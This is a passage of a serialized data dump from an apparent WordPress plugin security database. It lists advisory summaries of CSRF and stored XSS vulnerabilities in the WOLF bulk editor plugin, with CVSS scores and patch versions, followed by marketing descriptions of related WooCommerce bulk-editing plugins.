wpbe_bulk_delete_posts, and wpbe_save_meta are vulnerable to Cross-Site Request Forgery allowing for plugin options update, post count deletion, post deletion and modification of post metadata via forged request.",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:L","2024-07-29 21:36:32",[145],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6c48f94b-d193-429a-9383-628ae12bfdf3?source=api-prod",182,[],{"id":149,"url_slug":150,"title":151,"description":152,"plugin_slug":4,"theme_slug":38,"affected_versions":153,"patched_in_version":154,"severity":40,"cvss_score":155,"cvss_vector":156,"vuln_type":100,"published_date":157,"updated_date":158,"references":159,"days_to_patch":134,"patch_diff_files":161,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-22159","wolf-unauthenticated-stored-cross-site-scripting-via-profiletitle","WOLF \u003C= 1.0.8 - Unauthenticated Stored Cross-Site Scripting via profile_title","The WOLF plugin for WordPress is vulnerable to stored Cross-Site Scripting via the ‘profile_title’ parameter in versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.0.8","1.0.8.1",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2024-01-16 00:00:00","2024-01-22 19:56:02",[160],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F10339a77-7c1a-4030-9061-15c699545b16?source=api-prod",[],{"id":163,"url_slug":164,"title":165,"description":166,"plugin_slug":4,"theme_slug":38,"affected_versions":167,"patched_in_version":168,"severity":40,"cvss_score":127,"cvss_vector":169,"vuln_type":116,"published_date":170,"updated_date":158,"references":171,"days_to_patch":13,"patch_diff_files":173,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-46152","wolf-cross-site-request-forgery","WOLF \u003C= 1.0.7.1 - Cross-Site Request Forgery","The WOLF plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0.7.1. This is due to missing or incorrect nonce validation on several of its functions. This makes it possible for unauthenticated attackers to invoke these functions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This could lead to posts being reverted to earlier versions, deletion of earlier revisions or bulk deletion thereof.","\u003C=1.0.7.1","1.0.7.2","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","2023-10-17 00:00:00",[172],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8b771d76-b79a-4ff2-9433-8d35734a4396?source=api-prod",[],{"id":175,"url_slug":176,"title":177,"description":178,"plugin_slug":4,"theme_slug":38,"affected_versions":167,"patched_in_version":168,"severity":40,"cvss_score":98,"cvss_vector":99,"vuln_type":100,"published_date":179,"updated_date":158,"references":180,"days_to_patch":182,"patch_diff_files":183,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-44990","wolf-authenticated-administrator-stored-cross-site-scripting","WOLF \u003C= 1.0.7.1 - Authenticated (Administrator+) Stored Cross-Site Scripting","The WOLF  plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 1.0.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","2023-10-02 00:00:00",[181],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F85b439ea-08f9-4b4e-80da-7c5f80bc2818?source=api-prod",113,[],{"id":185,"url_slug":186,"title":187,"description":188,"plugin_slug":4,"theme_slug":38,"affected_versions":189,"patched_in_version":190,"severity":40,"cvss_score":127,"cvss_vector":169,"vuln_type":116,"published_date":191,"updated_date":158,"references":192,"days_to_patch":194,"patch_diff_files":195,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-34028","wolf-cross-site-request-forgery-via-createprofile","WOLF \u003C= 1.0.7 - Cross-Site Request Forgery via create_profile","The WOLF plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0.7. This is due to missing or incorrect nonce validation on the create_profile function. This makes it possible for unauthenticated attackers to create new profiles via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.0.7","1.0.7.1","2023-05-29 00:00:00",[193],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F98dffc17-ac45-4ccd-ae57-96b36bd02be3?source=api-prod",239,[],{"id":197,"url_slug":198,"title":199,"description":200,"plugin_slug":4,"theme_slug":38,"affected_versions":201,"patched_in_version":202,"severity":40,"cvss_score":203,"cvss_vector":204,"vuln_type":100,"published_date":205,"updated_date":158,"references":206,"days_to_patch":208,"patch_diff_files":209,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-31218","wolf-authenticated-subscriber-stored-cross-site-scripting-via-wpbeupdatepagefield","WOLF \u003C= 1.0.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via wpbe_update_page_field","The WOLF plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the wpbe_update_page_field parameter in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber privileges, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.0.6","1.0.7",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2023-05-03 00:00:00",[207],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2be16ee8-6bae-44d9-bde7-8e893293c3f9?source=api-prod",265,[],{"id":211,"url_slug":212,"title":213,"description":214,"plugin_slug":4,"theme_slug":38,"affected_versions":201,"patched_in_version":202,"severity":40,"cvss_score":127,"cvss_vector":169,"vuln_type":116,"published_date":205,"updated_date":158,"references":215,"days_to_patch":208,"patch_diff_files":217,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"WF-a39ca182-981b-4636-acd5-4c8a269858dd-bulk-editor","wolf-cross-site-request-forgery-via-wpbeupdatepagefield","WOLF \u003C= 1.0.6 - Cross-Site Request Forgery via wpbe_update_page_field","The WOLF plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on the wpbe_update_page_field function. This makes it possible for unauthenticated attackers to invoke this function and update settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",[216],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa39ca182-981b-4636-acd5-4c8a269858dd?source=api-prod",[],{"slug":219,"display_name":7,"profile_url":8,"plugin_count":220,"total_installs":221,"avg_security_score":222,"avg_patch_time_days":223,"trust_score":224,"computed_at":225},"realmag777",12,188290,88,196,71,"2026-05-19T20:23:16.074Z",[227,248,273,292,308],{"slug":228,"name":229,"version":230,"author":231,"author_profile":232,"description":233,"short_description":234,"active_installs":235,"downloaded":236,"rating":237,"num_ratings":105,"last_updated":238,"tested_up_to":16,"requires_at_least":239,"requires_php":240,"tags":241,"homepage":245,"download_link":246,"security_score":247,"vuln_count":28,"unpatched_count":28,"last_vuln_date":38,"fetched_at":30},"wpc-variation-bulk-editor","WPC Variation Bulk Editor for WooCommerce","1.2.6","WPClever","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpclever\u002F","\u003Cp>Variable products are always one of the most crucial parts in creating and managing an online store; so \u003Cstrong>WPC Variation Bulk Editor for WooCommerce\u003C\u002Fstrong> was developed to become your assistant in dealing with this. It facilitates users in editing every property of variations in bulk: image, stock, prices (regular and sale prices), backorders, weight, dimension, shipping, and tax classes.\u003C\u002Fp>\n\u003Cp>Saving time means more than just working faster on variations, it brings more precision when dealing with heavy workloads and avoiding sales-affecting mistakes. That’s why people tend to prefer tools that help them create and manage multiple things at the same time nowadays – easy, fast, & precise.\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Edit multiple variations at the same time\u003C\u002Fli>\n\u003Cli>Select specific terms in attribute(s) of variations to bulk edit\u003C\u002Fli>\n\u003Cli>Change the thumbnail, prices, stock, backorders & low-stock threshold\u003C\u002Fli>\n\u003Cli>Change the variation’s description, shipping class and tax rate\u003C\u002Fli>\n\u003Cli>Change the weight, some dimensions (length-width-height) or all at once\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-price-by-quantity\u002F\" rel=\"ugc\">WPC Price by Quantity\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-product-quantity\u002F\" rel=\"ugc\">WPC Product Quantity\u003C\u002Fa> (min\u002Fmax\u002Fstep rules for variations)\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-countdown-timer\u002F\" rel=\"ugc\">WPC Countdown Timer\u003C\u002Fa> (variation-based countdown timers)\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-variations-table\u002F\" rel=\"ugc\">WPC Variations Table\u003C\u002Fa> (custom name & image) in displaying custom names\u002Fimages\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-variations-radio-buttons\u002F\" rel=\"ugc\">WPC Variations Radio Buttons\u003C\u002Fa> in displaying custom name & image\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-show-single-variations\u002F\" rel=\"ugc\">WPC Show Single Variations\u003C\u002Fa> in bulk editing settings for variations\u003C\u002Fli>\n\u003Cli>Work with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-additional-variation-images\u002F\" rel=\"ugc\">WPC Additional Variation Images\u003C\u002Fa> in adding additional gallery for variations\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>1-Click Bulk Editing\u003C\u002Fh4>\n\u003Cp>Users can find the button on top of the variation list in the Variations tab of the variable product page. Click on that then the variation form will be opened for editing right away.\u003C\u002Fp>\n\u003Cp>You can see all attributes listed on the top. It’s possible to specify terms that will be configured. By default, if leaving those boxes blank, it means you want to edit all variations at the same time. When you finish, click on the Update button to save the changes.\u003C\u002Fp>\n\u003Ch4>Widely Compatible with WPC Plugins\u003C\u002Fh4>\n\u003Cp>When combining with WPC Variation Duplicator for WooCommerce plugin, the manual work will be enormously reduced so users can effortlessly create new variations then edit them in groups. What’s more, the additional gallery for variations added by \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-additional-variation-images\u002F\" rel=\"ugc\">WPC Additional Variation Images\u003C\u002Fa> can also be bulk edited for more efficient work.\u003C\u002Fp>\n\u003Cp>Outstanding WPC plugins providing variation selector interfaces such as \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-variations-table\u002F\" rel=\"ugc\">WPC Variations Table\u003C\u002Fa> (custom name & image), \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-variations-radio-buttons\u002F\" rel=\"ugc\">WPC Variations Radio Buttons\u003C\u002Fa> (custom name & image), \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-show-single-variations\u002F\" rel=\"ugc\">WPC Show Single Variations\u003C\u002Fa> (default\u002Fdisable\u002Fenable\u002Freverse)\u003C\u002Fp>\n\u003Cp>For some Premium WPC plugins, users can configure settings at variation level such as \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-product-quantity\u002F\" rel=\"ugc\">WPC Product Quantity\u003C\u002Fa> (min\u002Fmax\u002Fstep rules for variations) and \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-countdown-timer\u002F\" rel=\"ugc\">WPC Countdown Timer\u003C\u002Fa> (variation-based countdown timers).\u003C\u002Fp>\n\u003Ch4>Not what you needed?\u003C\u002Fh4>\n\u003Cp>Please try other plugins from us:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-admin-columns\u002F\" title=\"WPC Admin Columns\" rel=\"ugc\">WPC Admin Columns\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-variation-duplicator\u002F\" title=\"WPC Variation Duplicator\" rel=\"ugc\">WPC Variation Duplicator\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpc-backend-product-filter\u002F\" title=\"WPC Backend Product Filter\" rel=\"ugc\">WPC Backend Product Filter\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n","WPC Variation Bulk Editor helps you save precious time working on variations.",1000,18610,86,"2026-03-26T08:03:00.000Z","4.0","",[4,242,243,244],"variation","woocommerce","wpc","https:\u002F\u002Fwpclever.net\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpc-variation-bulk-editor.1.2.6.zip",100,{"slug":249,"name":250,"version":251,"author":252,"author_profile":253,"description":254,"short_description":255,"active_installs":256,"downloaded":257,"rating":258,"num_ratings":259,"last_updated":260,"tested_up_to":16,"requires_at_least":261,"requires_php":262,"tags":263,"homepage":268,"download_link":269,"security_score":270,"vuln_count":271,"unpatched_count":28,"last_vuln_date":272,"fetched_at":30},"stock-sync-with-google-sheet-for-woocommerce","FlexStock – Product Stock Sync with Google Sheets for WooCommerce","3.15.8","WPPOOL","https:\u002F\u002Fprofiles.wordpress.org\u002Fwppool\u002F","\u003Cp>\u003Cstrong>🔥 Product Stock Sync, Bulk Edit Products, Price, SKU, Categories, Images & Create New Products in WooCommerce from Google Sheets in a two-way sync\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwppool.dev\u002Fstock-sync-with-google-sheet-for-woocommerce\u002F\" rel=\"nofollow ugc\">FlexStock – WooCommerce Stock Sync with Google Sheet\u003C\u002Fa>\u003C\u002Fstrong> lets you manage your entire store inventory directly from Google Sheets – in real-time, both ways.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>No more logging into your dashboard\u003C\u002Fstrong> for every product update. FlexStock brings WooCommerce bulk editing, SKU syncing, image sync, variable product control, and more to your fingertips via Sheets.\u003C\u002Fp>\n\u003Cp>👉 FlexStock provides a complete inventory management system that enables \u003Cstrong>bidirectional sync between WooCommerce and Google Sheets\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Recommended by WordPress Professionals!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FBKuQQMIf4-o?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>👁️ \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fv9XuVSI\" rel=\"nofollow ugc\">View Demo\u003C\u002Fa> | 🚀 \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002FY2sgfXQ\" rel=\"nofollow ugc\">Get ULTIMATE\u003C\u002Fa> | 🤝 \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fb7mMOHs\" rel=\"nofollow ugc\">Join Our Facebook Community\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Whether you run a simple store or a high-volume multi vendor marketplace, FlexStock is your inventory control command center. Experience a \u003Cstrong>reliable and efficient online store inventory manager\u003C\u002Fstrong> for WordPress.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Let’s grow, connect, and thrive together\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>🤝 Join Our \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fb7mMOHs\" rel=\"nofollow ugc\">Facebook Community\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>🌐 Follow Us on \u003Ca href=\"https:\u002F\u002Fx.com\u002Fwppool_\" rel=\"nofollow ugc\">X (Twitter)\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>🎥 Subscribe on \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@WPPOOL\" rel=\"nofollow ugc\">YouTube\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>👍 Like Our \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fwppool.dev\" rel=\"nofollow ugc\">Facebook Page\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Whether you are running an eCommerce business or own a WooCommerce store, one of the main things you want to ensure is keeping track of your inventory. Managing product stock and other data from G-Sheets is easier than entering your site dashboard repeatedly for each product.\u003C\u002Fp>\n\u003Cp>Our stock manager plugin is two-directionally synchronized. You update the sheet and the data auto-syncs on the site dashboard. Or update the site dashboard and the data auto-syncs on the G-Sheets. It saves your time and boosts work efficiency. This is an \u003Cstrong>effective Commerce Console bulk edit plugin\u003C\u002Fstrong> for WooCommerce. 📈\u003C\u002Fp>\n\u003Cp>👁️ \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fv9XuVSI\" rel=\"nofollow ugc\">View Demo\u003C\u002Fa> | 🚀 \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002FY2sgfXQ\" rel=\"nofollow ugc\">Get ULTIMATE\u003C\u002Fa> | 🤝 \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fb7mMOHs\" rel=\"nofollow ugc\">Join Our Facebook Community\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>🔥 Bulk Edit WooCommerce Products\u003C\u002Fh3>\n\u003Cp>Create and quickly edit eCommerce products in bulk with our stock management plugin. You can bulk edit most of the product details from Google Sheets. Working with products in bulk is incredibly easy when you use our bulk editor plugin. Try Stock Sync for WooCommerce with G-Sheets now.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Synced Product Data:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>FlexStock supports syncing a wide range of WooCommerce data directly with Google Sheets.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>✅ Core Product Fields\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Product Name  \u003C\u002Fli>\n\u003Cli>Stock Quantity  \u003C\u002Fli>\n\u003Cli>Regular Price  \u003C\u002Fli>\n\u003Cli>Sale Price  \u003C\u002Fli>\n\u003Cli>Product Type  \u003C\u002Fli>\n\u003Cli>Stock Status  \u003C\u002Fli>\n\u003Cli>Product Status (Published, Draft, Pending, Trash)  \u003C\u002Fli>\n\u003Cli>SKU (Stock Keeping Unit)\u003C\u002Fli>\n\u003Cli>Product Visibility  \u003C\u002Fli>\n\u003Cli>Backorder Status  \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>🔥Advanced Fields\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Short Description  \u003C\u002Fli>\n\u003Cli>Long Description  \u003C\u002Fli>\n\u003Cli>Product Image  \u003C\u002Fli>\n\u003Cli>Product URL  \u003C\u002Fli>\n\u003Cli>Total Sales Count  \u003C\u002Fli>\n\u003Cli>Product Tags  \u003C\u002Fli>\n\u003Cli>Product Categories  \u003C\u002Fli>\n\u003Cli>Product Attributes  \u003C\u002Fli>\n\u003Cli>Custom Fields (ACF & WooCommerce metadata)  \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>📦 Variation Product Support\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Variation Name  \u003C\u002Fli>\n\u003Cli>Variation Stock  \u003C\u002Fli>\n\u003Cli>Variation Pricing  \u003C\u002Fli>\n\u003Cli>Variation SKU  \u003C\u002Fli>\n\u003Cli>Variation Attributes  \u003C\u002Fli>\n\u003Cli>Grouped Variation Rows\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>How It Works\u003C\u002Fh3>\n\u003Cp>FlexStock connects your WooCommerce store with Google Sheets using the Google Sheets API, so product sync and WooCommerce stock sync happen from one live spreadsheet.\u003C\u002Fp>\n\u003Col>\n\u003Cli>\u003Cstrong>Set up Google credentials\u003C\u002Fstrong> – Start the setup wizard, create or connect a Google Cloud project, enable the Google Sheets API, and upload your service JSON file.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Connect your Google Sheet\u003C\u002Fstrong> – Paste your Google Sheet URL and sheet tab name, then grant editor access to the generated service account email.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Sync WooCommerce product data\u003C\u002Fstrong> – FlexStock syncs stock, price, SKU, status, images, and other supported product fields between Google Sheets and WooCommerce in both directions.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>😍 FlexStock FREE Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Real-Time Auto Sync (WooCommerce \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Google Sheets)\u003C\u002Fstrong>: Stop exporting data manually. FlexStock automatically syncs WooCommerce orders, product details, and stock updates to Google Sheets in real time, so your team always has accurate sales and inventory data they can access anytime.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Two-Directional Product Sync\u003C\u002Fstrong>: The Flex Stock plugin automatically syncs product stock and other details (name, regular price, sales price) in a two-directional way between WooCommerce and Google Sheets. You update your spreadsheet, and your website dashboard gets auto-updated. Also, if you update details on the site dashboard, your Google Sheets gets an automatic update. In the free version, you can sync up to 500 products. WP eCommerce Site Stock management is getting simpler. 💪\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Edit Product Details\u003C\u002Fstrong>: Easily update your stock status from the connected live spreadsheet; they’ll be updated instantly on your WooCommerce store\u002FWordPress site. You can edit product names, pricing, on-sale updates, product type, stock status, etc., from anywhere you want as long as you are connected to the internet. Take the eCommerce bulk edit to the next level with this inventory manager.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Scheduled Auto Sync (WooCommerce \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> Google Sheets)\u003C\u002Fstrong>: Keep your Google Sheets data updated automatically. In the free version, FlexStock syncs WooCommerce data to Google Sheets every 10 minutes, making it easier to handle reporting, accounting, and sales monitoring without working with outdated data.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Bulk Edit WooCommerce Products\u003C\u002Fstrong>: Take full benefits of our bulk editor as you edit your product stock, name, and other details in bulk. This is a useful feature for any business owner.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Export Products on Google Sheets\u003C\u002Fstrong>: Get all your store product details in one place in an organized way with this stock manager plugin. All you need to do is activate and configure the plugin. And you will find a formatted spreadsheet with all your products for your convenience (up to 500 products on the free version).\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Variable Product Sync\u003C\u002Fstrong>: Get different rows for your store’s variable products. Variable products won’t confuse you anymore while making updates. Insert different data on the crafted rows for variable products. Manage every type of variable product (simple, variable, and group) stock in one place.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Manual Sync From WooCommerce and Google Sheets\u003C\u002Fstrong>: Once you configure the plugin, you’ll find three buttons (\u003Cem>Sync on Google Sheets\u003C\u002Fem>, \u003Cem>Fetch from WooCommerce\u003C\u002Fem>, \u003Cem>Sync on WooCommerce\u003C\u002Fem>) to sync your product manually from both eCommerce Dashboard and the connected spreadsheet. Although every change on the spreadsheet reflects instantly on WordPress and vice versa, you can use these buttons if auto-sync does not happen correctly due to server issues.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>WooCommerce Backorder Manager\u003C\u002Fstrong>: FlexStock’s backorder management feature helps you to increase sales by enabling customers to place orders out of stock products.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Product Removal restriction\u003C\u002Fstrong>: You cannot remove products from the connected Google Sheet. We added this feature \u003Cem>to avoid potential mistakes\u003C\u002Fem> while working on the spreadsheet. To remove any product from your WooCommerce site, you’ll need to do it manually from the dashboard.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Freeze Google Sheet Header\u003C\u002Fstrong>: Once you activate the plugin and complete the setup wizard, it will automatically format the spreadsheet. This formatting includes freezing the spreadsheet header. You can remove it from \u003Cem>Google Sheets\u003C\u002Fem> > \u003Cem>View\u003C\u002Fem> > \u003Cem>Freeze\u003C\u002Fem> > \u003Cem>No rows\u003C\u002Fem>.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Compatibility with Translation Plugins\u003C\u002Fstrong>: With WPML and Loco Translate compatibility, you can translate the plugins’s strings and access the settings in your local language. Also, using the WPML compatibility you can sync your translated products with connected sheet.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Product Status Sync:\u003C\u002Fstrong> You can seamlessly sync and manage product statuses (Published, Pending Review, Draft, Trash, Custom Statuses) bi-directionally between your platform and G-Sheets.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>👁️ \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002Fv9XuVSI\" rel=\"nofollow ugc\">View Demo\u003C\u002Fa> | 🚀 \u003Ca href=\"https:\u002F\u002Flnk.wppool.dev\u002FY2sgfXQ\" rel=\"nofollow ugc\">Get ULTIMATE\u003C\u002Fa> | 🤝 